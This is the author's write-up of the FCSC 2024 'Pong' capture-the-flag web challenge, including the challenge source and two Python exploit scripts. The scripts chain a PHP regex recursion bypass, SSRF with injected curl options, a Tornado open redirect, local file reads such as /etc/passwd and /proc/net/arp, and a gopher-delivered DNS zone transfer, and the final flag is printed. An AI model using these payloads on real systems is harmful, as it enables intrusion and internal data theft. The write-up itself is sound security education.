Difficulty: 490 points | 4 solves
Description: Ping.
Link: Hackropole.
Author: Me
To my great surprise, this challenge turned out to be the least flagged one I've created for the FCSC. On the homepage, it features a simple pong game:
The challenge frontend source code was quite simple:
$_GET["game"] = $_GET["game"] ?? "pong";
if (preg_match("/[^a-z\.]|((.{10,})+\.)+$|[a-z]{10,}/", $_GET["game"])) {
echo "403 Forbidden!";
exit();
}
$ch = curl_init();
$options = [ CURLOPT_URL => "http://" . $_GET["game"] . ".fcsc2024.fr:5000" ];
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" && isset($_GET["options"])) {
$options += $_GET["options"];
}
curl_setopt_array($ch, $options);
curl_exec($ch);
The complexity of the challenge lay in the number of services that needed to be exploited. Below is the provided docker-compose:
version: "3"
services:
pong-frontend:
build: ./src/frontend/
ports:
- "8000:80"
depends_on:
- pong-internal-dns
dns:
- 10.0.0.3 # not the same on the remote instance
networks:
pong-network:
ipv4_address: 10.0.0.2 # not the same on the remote instance
pong-internal-dns:
build: ./src/dns/
networks:
pong-network:
ipv4_address: 10.0.0.3 # not the same on the remote instance
environment:
- FLAG_DOMAIN=fake_domain
- FRONTEND_IP=10.0.0.2 # not the same on the remote instance
- BACKEND_IP=10.0.0.4 # not the same on the remote instance
- FLAG_IP=10.0.0.5 # not the same on the remote instance
pong-backend:
build: ./src/backend/
depends_on:
- pong-internal-dns
dns:
- 10.0.0.3 # not the same on the remote instance
networks:
pong-network:
ipv4_address: 10.0.0.4 # not the same on the remote instance
pong-flag:
build: ./src/flag/
depends_on:
- pong-internal-dns
dns:
- 10.0.0.3 # not the same on the remote instance
networks:
pong-network:
ipv4_address: 10.0.0.5 # not the same on the remote instance
environment:
- FLAG=FCSC{flag_placeholder}
- FLAG_DOMAIN=fake_domain
networks:
pong-network:
ipam:
config:
- subnet: 10.0.0.0/8
It's important to note that the only the pong-frontend is exposed and the internal IPs and domains differ on the remote instance. The challenge incorporates a total of 4 services:
The pong-backend Docker is developed in Python using the Tornado framework:
tornado.web._unicode = lambda value: value.decode("utf-8", "replace")
def make_app():
return tornado.web.Application([
(r"/?(.*)", tornado.web.StaticFileHandler, { "path": "public", "default_filename": "index.html" }),
])
if __name__ == "__main__":
app = make_app()
app.listen(5000)
tornado.ioloop.IOLoop.current().start()
The pong-internal-dns Docker is developed in Python using dnslib and is exposed on both TCP and UDP (an important detail that will be utilized later):
DOMAINS = {
"frontend.fcsc2024.fr.": environ["FRONTEND_IP"],
"pong.fcsc2024.fr.": environ["BACKEND_IP"],
f"{environ['FLAG_DOMAIN']}.fcsc2024.fr.": environ["FLAG_IP"]
}
# ...
def run_server(protocol):
resolver = LocalDNS()
server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
server.start()
if __name__ == "__main__":
threading.Thread(target=run_server, args=("TCP",)).start()
threading.Thread(target=run_server, args=("UDP",)).start()
Finally, the pong-flag is written in Node.js with a straightforward Express application, which can only be accessed using the correct Host header:
app.use((req, res, next) => {
if (req.headers["host"] !== `${process.env.FLAG_DOMAIN}.fcsc2024.fr:${PORT}`) {
res.send("403 Forbidden!");
return;
}
res.send(process.env.FLAG);
})
app.listen(PORT, () => {
console.log(`Pong running on port ${PORT}`);
});
Given all this information, it’s evident that we need to abuse an SSRF to communicate with the DNS service. This will allow us to retrieve the domain name of the flag service and, consequently, the flag itself.
As mentioned earlier, the first step is to find a way to achieve an SSRF. Examining the PHP source code, we find that a regex restricts (must match a-z and . chars) communication to any service other than those at .fcsc2024.fr:5000:
$_GET["game"] = $_GET["game"] ?? "pong";
if (preg_match("/[^a-z\.]|((.{10,})+\.)+$|[a-z]{10,}/", $_GET["game"])) {
echo "403 Forbidden!";
exit();
}
$ch = curl_init();
$options = [ CURLOPT_URL => "http://" . $_GET["game"] . ".fcsc2024.fr:5000" ];
Additionally, if we manage to access the frontend service from 127.0.0.1 (essentially the service itself), we can control the options that are passed to curl.
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" && isset($_GET["options"])) {
$options += $_GET["options"];
}
curl_setopt_array($ch, $options);
curl_exec($ch);
How could the regex be bypassed?
In fact, upon consulting the PHP documentation, it's clear that preg_match returns a false value in case of a failure: (link)
How this could be possible?
This is because PHP uses the PRCE library for all preg_ functions and defines a default maximum recursion depth of 100.000: (link)
Another challenge writeup about this can be found here.
Knowing this, it is possible to force the regex to execed more than 100.000 recursions which will cause a ReDOS and make preg_match returning false:
Running this agains the challenge using aaaaaaaaaa.aaaaaaaaaa.aaaaaaaaaa.aaaaaaaaaa.aaaaaaaaaa.aaaaaaaaaa.aaaaaaaaaa@127.0.0.1/ we can confirm the SSRF 🎉
At this stage, we have full control over the following parts of the URL:
The username must contain the ReDOS payload, and the anchor must include the fcsc2024 domain.
Therefore, to gain more information about the system, either through file reading or interaction with the DNS Server, we need to control the request protocol. To achieve this, we must partially control the curl options by accessing the frontend application through 127.0.0.1.
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" && isset($_GET["options"])) {
$options += $_GET["options"];
}
curl_setopt_array($ch, $options);
If we take a look at the PHP documentation, here are 2 interesting curl options that could be used within the context of the challenge: (link)
Some people haven't used the exact same options, but it doesn't change the solution in the end.
Thanks to this configuration, in case of a redirect, we would gain full control over the URL passed to curl. This allows us to use protocols such as file:// or gopher:// 🔥
At this point, we might think we just need to use the SSRF to reach a controlled server that responds with a 302 status code to fully control the protocol. However, this won't be possible. Why? Because the services do not have internet access :)
How could we find an open redirect in such lightweight services?
This was likely the most challenging part of the challenge. If we take a step back, the backend-pong service is the only one that hasn't been exploited yet:
Therefore, it becomes the most logical candidate for finding an open redirect. As a reminder, here is the source code of the service:
tornado.web._unicode = lambda value: value.decode("utf-8", "replace")
def make_app():
return tornado.web.Application([
(r"/?(.*)", tornado.web.StaticFileHandler, { "path": "public", "default_filename": "index.html" }),
])
if __name__ == "__main__":
app = make_app()
app.listen(5000)
tornado.ioloop.IOLoop.current().start()
If we search for tornado open redirect, we can find: (advisory)
This may not seem interesting since it was fixed in 2023 and the challenge uses the latest version. However, let’s examine the fix: (commit)
As we can see, it only blocks redirects if the path starts with //. This means that if it begins with a wrapper, it will still be considered a valid redirect value :)
As far as I know, there was no available proof of concept or detailed information on how to exploit this open redirect at the time of the CTF. Therefore, we need to delve into the Tornado source code to determine how to access the vulnerability.
def validate_absolute_path(self, root: str, absolute_path: str) -> Optional[str]:
# ...
root = os.path.abspath(root) # RESOLVE ROOT PATH
# ...
if not (absolute_path + os.path.sep).startswith(root): # CHECK IF TARGET PATH STARTS WITH ROOT PATH
raise HTTPError(403, "%s is not in root static directory", self.path)
if os.path.isdir(absolute_path) and self.default_filename is not None: # TARGET PATH MUST BE A FOLDER
# ...
if not self.request.path.endswith("/"): # IMPORTANT
if self.request.path.startswith("//"):
# ...
raise HTTPError(
403, "cannot redirect path with two initial slashes"
)
self.redirect(self.request.path + "/", permanent=True) # IF EVERYTHING GOOD USE THE PATH
return None
class StaticFileHandler(RequestHandler):
# ...
async def get(self, path: str, include_body: bool = True) -> None:
# ...
absolute_path = self.get_absolute_path(self.root, self.path) # RESOLVE ABS PATH
self.absolute_path = self.validate_absolute_path(self.root, absolute_path) # HERE
Breaking down what happens:
The vulnerable server must uses StaticFileHandler.
The vulnerability occurs in GET request to it.
The StaticFileHandler path + the HTTP Path must starts with the StaticFileHandler path (meaning no ../ is possible).
The target path must be a folder and doesn't end with a /.
The vulnerable server must use StaticFileHandler.
The vulnerability occurs during a GET request to it.
The path</span<> defined in StaticFileHandler</span<>, combined with the HTTP path, must start with the StaticFileHandler path which means no ../ is possible.
The target path must be a folder and not end with a /.
Fortunately for us, the challenge route path does not require the path to start with a / in the tornado.web.StaticFileHandler router:
def make_app():
return tornado.web.Application([
(r"/?(.*)", tornado.web.StaticFileHandler, { "path": "public", "default_filename": "index.html" }), # /?(.*) :)
])
In addition, the challenge exposes the public folder, within which lies an js folder ready for the exploitation 🥳
The last problem arises from the necessity to resolve the folder path to match /usr/app/public/js. To address this, we can leverage the behavior of Tornado, which processes the raw path and resolves it, causing confusion between curl and Tornado itself. This can be accomplished this way:
As we can see, we finally achieve complete control over the redirection 🔥
This can be chained with the curl options + SSRF to get a local file read:
import sys
from urllib.parse import quote
from requests import get
CHALL_DOMAIN = "https://pong.france-cybersecurity-challenge.fr/"
# CURL OPTIONS
CURLOPT_FOLLOWLOCATION = 52
CURLOPT_REDIR_PROTOCOLS = 182
CURLPROTO_ALL = -1
CURLOPT_CUSTOMREQUEST = 10036
# EXPLOIT OPTIONS
sub_request_params = {
"game": "pong",
f"options[{CURLOPT_FOLLOWLOCATION}]": "true",
f"options[{CURLOPT_REDIR_PROTOCOLS}]": str(CURLPROTO_ALL),
f"options[{CURLOPT_CUSTOMREQUEST}]": "GET file:///etc/passwd#/../../../../../../../../../../../../usr/app/public/js HTTP/1.1\r\nX-Header:"
}
# MAIN
if __name__ == "__main__":
r = get(CHALL_DOMAIN, params={
"game": "aaaaaaaaaa."*7 + "@127.0.0.1/?" + "".join([f"{k}={quote(v)}&" for k,v in sub_request_params.items()])
})
print(r.text)
With a fully exploitable SSRF allowing us control over the protocol, the next step is to locate the DNS IP for flag retrieval. This task has been accomplished through various methods:
Mine was to read the ARP table, but all solutions were fine.
At this point, only the last step was left: we need to retrieve the pong-flag service dns name. In order to do that, the most logical way is to make a AXFR DNS query: (link)
It is important to understand that this is only possible because the DNS server respond on TCP, which is the transport protocol used by gopher:
In order to craft a valid AXFR DNS query which will query for the fcsc2024.fr domain, several methodology could be employed:
I've opted to the second one as I already played with DNS packet in the past:
dns_request = (
b"\x01\x03\x03\x07" # BITMAP
b"\x00\x01" # QCOUNT
b"\x00\x00" # ANCOUNT
b"\x00\x00" # NSCOUNT
b"\x00\x00" # ARCOUNT
b"\x08fcsc2024\x02fr\x00" # DNAME
b"\x00\xFC" # QTYPE
b"\x00\x01" # QCLASS
)
Using it on the DNS server and we get (37b9da922f6360e301faeff19bac866c1a042d4a is the flag server subdomain): 🔥
The last step is to use this domain with the SSRF in order to get the flag 🥳
To summarize, we need to:
import sys
from urllib.parse import quote
from requests import get
if len(sys.argv) == 2:
CHALL_DOMAIN = sys.argv[1]
IP = "10.0.0.3"
FLAG_DOMAIN = "fake_domain"
else:
CHALL_DOMAIN = "https://pong.france-cybersecurity-challenge.fr/"
IP = "10.222.147.250"
FLAG_DOMAIN = "37b9da922f6360e301faeff19bac866c1a042d4a"
CHALL_DOMAIN = CHALL_DOMAIN.rstrip("/")
# CURL OPTIONS
CURLOPT_FOLLOWLOCATION = 52
CURLOPT_REDIR_PROTOCOLS = 182
CURLPROTO_ALL = -1
CURLOPT_CUSTOMREQUEST = 10036
# DNS AXFR QUERY
dns_request = (
b"\x01\x03\x03\x07" # BITMAP
b"\x00\x01" # QCOUNT
b"\x00\x00" # ANCOUNT
b"\x00\x00" # NSCOUNT
b"\x00\x00" # ARCOUNT
b"\x08fcsc2024\x02fr\x00" # DNAME
b"\x00\xFC" # QTYPE
b"\x00\x01" # QCLASS
)
file_read = "file:///proc/net/arp"
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request # TCP packet
# EXPLOIT OPTIONS
dns_ssrf = f"gopher://{IP}:53/_{quote(dns_request)}"
sub_request_params = {
"game": "pong",
f"options[{CURLOPT_FOLLOWLOCATION}]": "true",
f"options[{CURLOPT_REDIR_PROTOCOLS}]": str(CURLPROTO_ALL),
f"options[{CURLOPT_CUSTOMREQUEST}]": "GET {SSRF}#/../../../../../../../../../../../../usr/app/public/js HTTP/1.1\r\nX-Header:"
}
# MAIN
if __name__ == "__main__":
# Get ip configuration
r = get(CHALL_DOMAIN, params={
"game": "aaaaaaaaaa."*7 + "@127.0.0.1/?" + "".join([f"{k}={quote(v.replace('{SSRF}', file_read))}&" for k,v in sub_request_params.items()])
})
print(r.text)
assert IP in r.text
# AXFR DNS zone transfer
r = get(CHALL_DOMAIN, params={
"game": "aaaaaaaaaa."*7 + "@127.0.0.1/?" + "".join([f"{k}={quote(v.replace('{SSRF}', dns_ssrf))}&" for k,v in sub_request_params.items()])
})
print(r.content)
assert FLAG_DOMAIN.encode() in r.content
r = get(CHALL_DOMAIN, params={
"game": "aaaaaaaaaa."*7 + f"@{FLAG_DOMAIN}.fcsc2024.fr:3000/"
})
print(r.text)
Flag: FCSC{d8af233176d6ca50598a48fc47d8cadeae37b3d35a641efc1ad7777c86fe28a9}